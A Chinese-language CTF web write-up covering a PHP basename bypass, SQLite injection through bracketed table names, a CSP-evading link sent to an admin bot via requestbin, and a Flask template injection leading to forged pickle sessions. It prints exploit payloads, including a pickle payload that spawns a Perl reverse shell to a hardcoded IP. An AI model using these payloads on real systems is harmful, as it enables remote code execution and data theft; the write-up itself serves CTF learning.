Can you guess it?
让我们猜什么东西,点击source可以得到源码
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
定义了一个$secret
是随机的64位字符串的十六进制,如果我们post的$guess
参数满足hash_equals($secret, $guess)
,则可以得到flag。
php5.6版本新增了一个函数hash_equals,可防止时序攻击的字符串比较。
在密码学中,时序攻击是一种侧信道攻击,攻击者试图通过分析加密算法的时间执行来推导出密码。每一个逻辑运算在计算机需要时间来执行,根据输入不同,精确测量执行时间,根据执行时间反推出密码。
如果是用普通的 == 来进行比较,那么两个字符串是从第一位开始逐一进行比较的,发现不同就立即返回 false,那么通过计算返回的速度就知道了大概是哪一位开始不同的,这样就实现了电影中经常出现的按位破解密码的场景。
回到题目,可以看到读取源码的地方使用了basename($_SERVER['PHP_SELF'])
,读取的是当前执行脚本的文件名,index.php?source
读的是index.php,但把config.php加后面读的就是config.php
但这里加了过滤条件/config\.php\/*$/i
不允许config.php后面加参数,这里涉及到了basename的一个问题,它会自动去掉文件名开头或者末尾的非ASCII值
那么请求index.php/config.php%ff?source
即可
phpNantokaAdmin
首页是一个可以创建表的管理界面,创建表之后可以插入数据,也可以删除表
源码得知数据库是sqlite
sqlite数据库中,当列名用" ' []
等字符隔开时,sqlite只会把这些字符包含的字符串当做列名,并且忽视后面的字符串
并且sqlite可以create table ... as select ...,把select的查询结果放到创建的表中
题目中sql语句大概是
CREATE TABLE $table_name (dummy1 TEXT, dummy2 TEXT, `$column` $type);
如果我们创建表时传入
table_name=[aaa] as select [sql][&columns[0][name]=]from sqlite_master;&columns[0][type]=2
就相当于
$sql = "CREATE TABLE [aaa] as select [sql][ (dummy1 TEXT, dummy2 TEXT, `]from sqlite_master;` 2);";
[sql]
后面的[(dummy1 TEXT, dummy2 TEXT,
`]被忽略,就相当于
create table [aaa] as select sql from sqlite_master
SQLite数据库中有一个内置表,名为SQLITE_MASTER,此表中存储着当前数据库中所有表的相关信息,比如表的名称、用于创建此表的sql语句、索引、索引所属的表、创建索引的sql语句等。
抓包修改post
得到了数据库和字段名
那么再接着读
table_name=[aaa] as select [flag_2a2d04c3][&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2
就是
$sql = "CREATE TABLE [aaa] as select [flag_2a2d04c3][ (dummy1 TEXT, dummy2 TEXT, `]from flag_bf1811da;` 2);";
相当于
create table aaa as select flag_2a2d04c3 from flag_bf1811da
同样抓包修改
得到flag
musicblog
注册登录可以发post
看到这个管理员会检查post以为是xss但是尝试无果,抓包发现设置了CSP无法跨域请求
测试标签只允许audio其他一概过滤,但在audio里加上/
后,发现/
会被替换称空格,audio标签会被自动隔断从而/
前面的内容在html内形成<a>
标签
也就可以构造超链接,而超链接是不受CSP影响的,所以我们构造一个超链接让bot管理员点击,就达到了目的
构造
<a/udio id=like href=http://http.requestbin.buuoj.cn/1cap6um1>blacknight
post上去之后
<a udio id=like href=http://http.requestbin.buuoj.cn/1cap6um1>blacknight
得到flag
看别的师傅的wp应该是这里bot检查脚本用了strip_tags函数,存在漏洞
notepad
一个简化的文本编辑器
源码404页面的referer处存在模板注入
def page_not_found(error):
""" Automatically go back when page is not found """
referrer = flask.request.headers.get("Referer")
if referrer is None: referrer = '/'
if not valid_url(referrer): referrer = '/'
html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
return flask.render_template_string(html), 404
查看{{config}}得到secert_key
但由于源码处队url做了长度限制,不能更进一步利用
def valid_url(url):
""" Check if given url is valid """
host = flask.request.host_url
if not url.startswith(host): return False # Not from my server
if len(url) - len(host) > 16: return False # Referer may be also 404
return True
解密session有个savedata
源码查看savedata会被base64解码。然后反序列化
def load():
""" Load saved notes """
try:
savedata = flask.session.get('savedata', None)
data = pickle.loads(base64.b64decode(savedata))
except:
data = [{"date": now(), "text": "", "title": "*New Note*"}]
return data
有了secert_key,可以伪造一个shell进去
import base64
import os
import pickle
class A(object):
def __reduce__(self):
return (os.system,("""perl -e 'use Socket;$i="174.2.214.12";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
由于key包含不可见字符,先python用encodeBytes处理一下再伪造时base64解码
然后访问note/1触发
nc,perl都试了还是弹不到。。。结合其他师傅的wp搞了好久。。。今天心态有点爆炸,过几天来看看